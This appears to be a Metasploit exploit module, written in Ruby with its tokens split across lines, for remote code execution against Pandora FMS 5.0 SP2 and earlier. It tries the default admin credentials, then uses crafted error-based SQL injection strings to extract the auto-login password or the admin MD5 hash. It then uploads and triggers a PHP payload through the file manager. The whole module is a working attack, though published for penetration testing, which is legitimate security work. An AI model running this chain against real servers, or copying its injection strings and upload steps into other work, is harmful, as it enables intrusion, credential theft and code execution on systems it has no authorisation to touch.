##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require
'msf/core'
class
Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def
initialize(info={})
super
(update_info(info,
'Name'
=>
'Pandora FMS SQLi Remote Code Execution'
,
'Description'
=> %q{
This
module
attempts to exploit multiple issues
in
order to gain remote
code execution under Pandora
FMS
version <=
5
.
0
SP2
. First, an attempt
to authenticate using default credentials is performed. If this method
fails, a
SQL
injection vulnerability is leveraged
in
order to extract
the
"Auto Login"
password hash. If this value is
not
set, the
module
will
then
extract the administrator account's
MD5
password hash.
},
'License'
=>
MSF_LICENSE
,
'Author'
=>
[
'Lincoln <Lincoln[at]corelan.be>'
,
# Discovery, Original Proof of Concept
'Jason Kratzer <pyoor[at]corelan.be>'
# Metasploit Module
],
'References'
=>
[
[
'URL'
,
'http://pandorafms.com/downloads/whats_new_5-SP3.pdf'
],
[
'URL'
,
'http://blog.pandorafms.org/?p=2041'
]
],
'Platform'
=>
'php'
,
'Arch'
=>
ARCH_PHP
,
'Targets'
=>
[
[
'Pandora FMS version <= 5.0 SP2'
, {}]
],
'Privileged'
=>
false
,
'Payload'
=>
{
'Space'
=>
50000
,
'DisableNops'
=>
true
,
},
'DisclosureDate'
=>
"Feb 1 2014"
,
'DefaultTarget'
=>
0
))
register_options(
[
OptString.
new
(
'TARGETURI'
, [
true
,
'The URI of the vulnerable Pandora FMS instance'
,
'/pandora_console/'
]),
OptString.
new
(
'USER'
, [
false
,
'The username to authenticate with'
,
'admin'
]),
OptString.
new
(
'PASS'
, [
false
,
'The password to authenticate with'
,
'pandora'
]),
],
self
.
class
)
end
def
uri
target_uri.path
end
def
check
vprint_status(
"#{peer} - Trying to detect installed version"
)
version =
nil
res = send_request_cgi({
'method'
=>
'GET'
,
'uri'
=> normalize_uri(uri,
'index.php'
)
})
if
res && res.code ==
200
&& res.body =~ /Pandora
FMS
- the Flexible Monitoring System/
if
res.body =~ /<div id=
"ver_num"
>v(.*?)<\/div>/
version =
$1
else
return
Exploit::CheckCode::Detected
end
end
unless
version.
nil
?
vprint_status(
"#{peer} - Pandora FMS #{version} found"
)
if
Gem::Version.
new
(version) <= Gem::Version.
new
(
'5.0SP2'
)
return
Exploit::CheckCode::Appears
end
end
Exploit::CheckCode::Safe
end
# Attempt to login with credentials (default admin:pandora)
def
authenticate
res = send_request_cgi({
'method'
=>
'POST'
,
'uri'
=> normalize_uri(uri,
'index.php'
),
'vars_get'
=> {
'login'
=>
"1"
,
},
'vars_post'
=> {
'nick'
=> datastore[
'USER'
],
'pass'
=> datastore[
'PASS'
],
'Login'
=>
'Login'
,
}
})
return
auth_succeeded?(res)
end
# Attempt to login with auto login and SQLi
def
login_hash
clue = rand_text_alpha(
8
)
sql_clue = clue.each_byte.map { |b| b.to_s(
16
) }.join
# select value from tconfig where token = 'loginhash_pwd';
sqli =
"1' AND (SELECT 2243 FROM(SELECT COUNT(*),CONCAT(0x#{sql_clue},(SELECT MID((IFNULL(CAST"
sqli <<
"(value AS CHAR),0x20)),1,50) FROM tconfig WHERE token = 0x6c6f67696e686173685f707764 "
sqli <<
"LIMIT 0,1),0x#{sql_clue},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP "
sqli <<
"BY x)a) AND 'msf'='msf"
password = inject_sql(sqli, clue)
if
password && password.length !=
0
print_status(
"#{peer} - Extracted auto login password (#{password})"
)
else
print_error(
"#{peer} - No auto login password has been defined!"
)
return
false
end
print_status(
"#{peer} - Attempting to authenticate using (admin:#{password})"
)
# Attempt to login using login hash password
res = send_request_cgi({
'method'
=>
'POST'
,
'uri'
=> normalize_uri(uri,
'index.php'
),
'vars_get'
=> {
'loginhash'
=>
'auto'
,
},
'vars_post'
=> {
'loginhash_data'
=> Rex::Text.md5(
"admin#{password}"
),
'loginhash_user'
=>
'admin'
,
}
})
return
auth_succeeded?(res)
end
def
auth_succeeded?(res)
if
res && res.code ==
200
&& res.body.include?(
'Welcome to Pandora FMS'
)
print_status(
"#{peer} - Successfully authenticated!"
)
print_status(
"#{peer} - Attempting to retrieve session cookie"
)
@cookie
= res.get_cookies
if
@cookie
.include?(
'PHPSESSID'
)
print_status(
"#{peer} - Successfully retrieved session cookie: #{@cookie}"
)
return
true
else
print_error(
"#{peer} - Error retrieving cookie!"
)
end
else
print_error(
"#{peer} - Authentication failed!"
)
end
false
end
def
extract
# Generate random string and convert to hex
clue = rand_text_alpha(
8
)
hex_clue = clue.each_byte.map { |b| b.to_s(
16
) }.join
# select password from tusuario where id_user = 0;
sqli =
"test' AND (SELECT 5612 FROM(SELECT COUNT(*),CONCAT(0x#{hex_clue},(SELECT MID((IFNULL"
sqli <<
"(CAST(password AS CHAR),0x20)),1,50) FROM tusuario WHERE id_user = 0 LIMIT 0,1)"
sqli <<
",0x#{hex_clue},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY "
sqli <<
"x)a) AND 'msf'='msf"
password = inject_sql(sqli, clue)
if
password && password.length !=
0
print_good(
"#{peer} - Extracted admin password hash, unsalted md5 - [ #{password} ]"
)
else
print_error(
"#{peer} - Unable to extract password hash!"
)
return
false
end
end
def
inject_sql(sql, fence_post)
# Extract password hash from database
res = send_request_cgi({
'method'
=>
'POST'
,
'uri'
=> normalize_uri(uri,
'mobile'
,
'index.php'
),
'vars_post'
=> {
'action'
=>
'login'
,
'user'
=> sql,
'password'
=>
'pass'
,
'input'
=>
'Login'
}
})
result =
nil
if
res && res.code ==
200
match = res.body.match(/(?<=
#{fence_post})(.*)(?=#{fence_post})/)
if
match
result = match[
1
]
else
print_error(
"#{peer} - SQL injection failed"
)
end
end
result
end
def
upload
# Extract hash and hash2 from response
res = send_request_cgi({
'method'
=>
'GET'
,
'cookie'
=>
@cookie
,
'uri'
=> normalize_uri(uri,
'index.php'
),
'vars_get'
=> {
'sec'
=>
'gsetup'
,
'sec2'
=>
'godmode/setup/file_manager'
}
})
if
res && res.code ==
200
&& res.body =~ /(?<=input type=
"submit"
id=
"submit-go"
)(.*)(?=<input id=
"hidden-directory"
name=
"directory"
type=
"hidden"
)/
form =
$1
# Extract hash
if
form =~ /(?<=name=
"hash"
type=
"hidden"
value=
")(.*?)(?="
\/>)/
hash =
$1
else
print_error(
"#{peer} - Could not extract hash from response!"
)
fail_with(Failure::Unknown,
"#{peer} - Unable to inject payload!"
)
end
# Extract hash2
if
form =~ /(?<=name=
"hash2"
type=
"hidden"
value=
")(.*?)(?="
\/>)/
hash2 =
$1
else
print_error(
"#{peer} - Could not extract hash2 from response!"
)
fail_with(Failure::Unknown,
"#{peer} - Unable to inject payload!"
)
end
# Extract real_directory
if
form =~ /(?<=name=
"real_directory"
type=
"hidden"
value=
")(.*?)("
\/>)/
real_directory =
$1
else
print_error(
"#{peer} - Could not extract real_directory from response!"
)
fail_with(Failure::Unknown,
"#{peer} - Unable to inject payload!"
)
end
else
print_error(
"#{peer} - Could not identify upload form!"
)
fail_with(Failure::Unknown,
"#{peer} - Unable to inject payload!"
)
end
# Upload script
@payload_name
=
"#{rand_text_alpha(8)}.php"
post_data = Rex::
MIME
::Message.
new
post_data.add_part(
"<?php #{payload.encoded} ?>"
,
'text/plain'
,
nil
, %
Q
^form-data; name=
"file"
; filename=
"#{@payload_name}"
^)
post_data.add_part(
''
,
nil
,
nil
,
'form-data; name="unmask"'
)
post_data.add_part(
'Go'
,
nil
,
nil
,
'form-data; name="go"'
)
post_data.add_part(real_directory,
nil
,
nil
,
'form-data; name="real_directory"'
)
post_data.add_part(
'images'
,
nil
,
nil
,
'form-data; name="directory"'
)
post_data.add_part(
"#{hash}"
,
nil
,
nil
,
'form-data; name="hash"'
)
post_data.add_part(
"#{hash2}"
,
nil
,
nil
,
'form-data; name="hash2"'
)
post_data.add_part(
'1'
,
nil
,
nil
,
'form-data; name="upload_file_or_zip"'
)
print_status(
"#{peer} - Attempting to upload payload #{@payload_name}..."
)
res = send_request_cgi({
'method'
=>
'POST'
,
'cookie'
=>
@cookie
,
'uri'
=> normalize_uri(uri,
'index.php'
),
'ctype'
=>
"multipart/form-data; boundary=#{post_data.bound}"
,
'data'
=> post_data.to_s,
'vars_get'
=> {
'sec'
=>
'gsetup'
,
'sec2'
=>
'godmode/setup/file_manager'
}
})
if
res && res.code ==
200
&& res.body.include?(
"Upload correct"
)
register_file_for_cleanup(
@payload_name
)
print_status(
"#{peer} - Successfully uploaded payload"
)
else
fail_with(Failure::Unknown,
"#{peer} - Unable to inject payload!"
)
end
end
def
exploit
# First try to authenticate using default or user-supplied credentials
print_status(
"#{peer} - Attempting to authenticate using (#{datastore['USER']}:#{datastore['PASS']})"
)
auth = authenticate
unless
auth
print_status(
"#{peer} - Attempting to extract auto login hash via SQLi"
)
auth = login_hash
end
unless
auth
print_status(
"#{peer} - Attempting to extract admin password hash with SQLi"
)
extract
fail_with(Failure::NoAccess,
"#{peer} - Unable to perform remote code execution!"
)
end
print_status(
"#{peer} - Uploading PHP payload..."
)
upload
print_status(
"#{peer} - Executing payload..."
)
res = send_request_cgi({
'method'
=>
'GET'
,
'uri'
=> normalize_uri(uri,
'images'
,
@payload_name
),
'cookie'
=>
@cookie
},
1
)
end
end